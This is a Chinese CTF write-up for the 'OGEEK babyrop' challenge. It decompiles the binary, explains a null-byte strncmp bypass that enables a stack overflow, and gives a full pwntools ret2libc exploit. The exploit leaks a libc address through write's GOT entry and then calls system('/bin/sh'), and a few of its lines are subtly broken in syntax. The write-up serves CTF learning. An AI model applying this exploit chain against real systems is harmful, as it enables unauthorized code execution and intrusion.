OGEEK_babyrop

解题思路:ret2libc

检查保护机制

 Arch:     i386-32-little
 RELRO:    Full RELRO
 Stack:    No canary found
 NX:       NX enable
 PIE:      No PIE (0x8048000)

打开IDA反编译进入main函数后可以看到代码

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h] BYREF
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}

read()函数:

定义:

ssize_t read(int fd, void *buf, size_t count);
//fd:文件描述符,从commandline获取数据时为0;buf:目标缓冲区;count:读取的字节数;函数返回值为实际读取的字节数,读取失败返回-1,调用read前达到文件末尾返回0(读取count个字节到buf指向的缓冲区);将command line中count个字节写入buf

进入sub_804871F()函数:

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
  char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
  ssize_t v5; // [esp+4Ch] [ebp-Ch]

  memset(s, 0, sizeof(s));
  memset(buf, 0, sizeof(buf));//到这一步中字符串S和buf中所有元素都相同
  sprintf(s, "%ld", a1);//a1输入到S中
  v5 = read(0, buf, 0x20u);
  buf[v5 - 1] = 0;//读入buf的最后一个元素置零
  v1 = strlen(buf);
  if ( strncmp(buf, s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return buf[7];
}

sprintf()函数

int sprintf( char *buffer, const char *format [, argument,...] );
//将format指向的格式化字符串输入到buffer指向的字符串

strncmp()函数

int strncmp(const char *str1, const char *str2, size_t n);//比较字符串str1和str2的前n个字符
/*自左向右逐个按照ASCII码值进行比较n个字符,直到出现不同的字符或遇’\0’为止,str1-str2的数值就是返回值。
如果返回值 < 0,则表示 str1 小于 str2。
如果返回值 > 0,则表示 str2 小于 str1。
如果返回值 = 0,则表示 str1 等于 str2。*/

strncmp()函数存在\0截断,如果比较buf和s相同就自动退出,因此可以利用\0截断跳过比较,防止退出

进入 sub_80487D0()函数

ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf[231]; // [esp+11h] [ebp-E7h] BYREF

  if ( a1 == 127 )
    result = read(0, buf, 0xC8u);
  else
    result = read(0, buf, a1);
  return result;
}

上一个函数的返回值在这个函数作为a1的值,这里buf的大小为0xE7=231Bytes,所以考虑将a1写为255实现栈溢出

(255-231-4=20bytes,最多20bytes空间)

exp:

from pwn import *

context.os='linux'
context.arch='i386'
context.log_level='debug'

sl=lambda x:r.sendline(x)
rl=lambda :r.recvline()

r=remote('node3.buuoj.cn',27787)
elf=ELF('./babyrop')
libc=ELF('./libc-2.23.so')

main_addr=0x8048825

payload='\0'*7+'\255'#\0截断绕过strncmp()比较并将buf[7]的值改为255
sl(payload)
rl()

payload1 = 'a'*(0xe7+4)
payload1 += p32(elf.plt['write'])+p32(1)+p32(elf.got['write'])+p32(4)
#write(1,elf.got['write'],4),打出write()的真实地址
payload1 += p32(main_addr)
#回到主函数实现二次利用

sl(payload1)
write_addr=u32(r.recv(4))
libc_addr=write_addr-libc.sym['write']#函数地址-偏移=libc基地址

payload2='\0'*7+'\255'
sl(payload2)
rl()

payload3='a'(0xe7+4)
payload3+=p32(libc_addr+libc.symbols['system'])+p32(0)+p32(libc_addr+libc.search('/bin/sh\0').next()
sl(payload3)

r.interactive()

Tips:

1,write()函数

ssize_t write(int fd,const void *buf,size_t count);
//fd:文件描述符(==1则输出到command line);buf:目标缓冲区;count:字节数;将buf中count个字节写入commandline

2,调用write()时如果没有加载这个函数,那么默认调用dl_runtime_resolve()在got表中写入真实地址(Lazy Binding)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值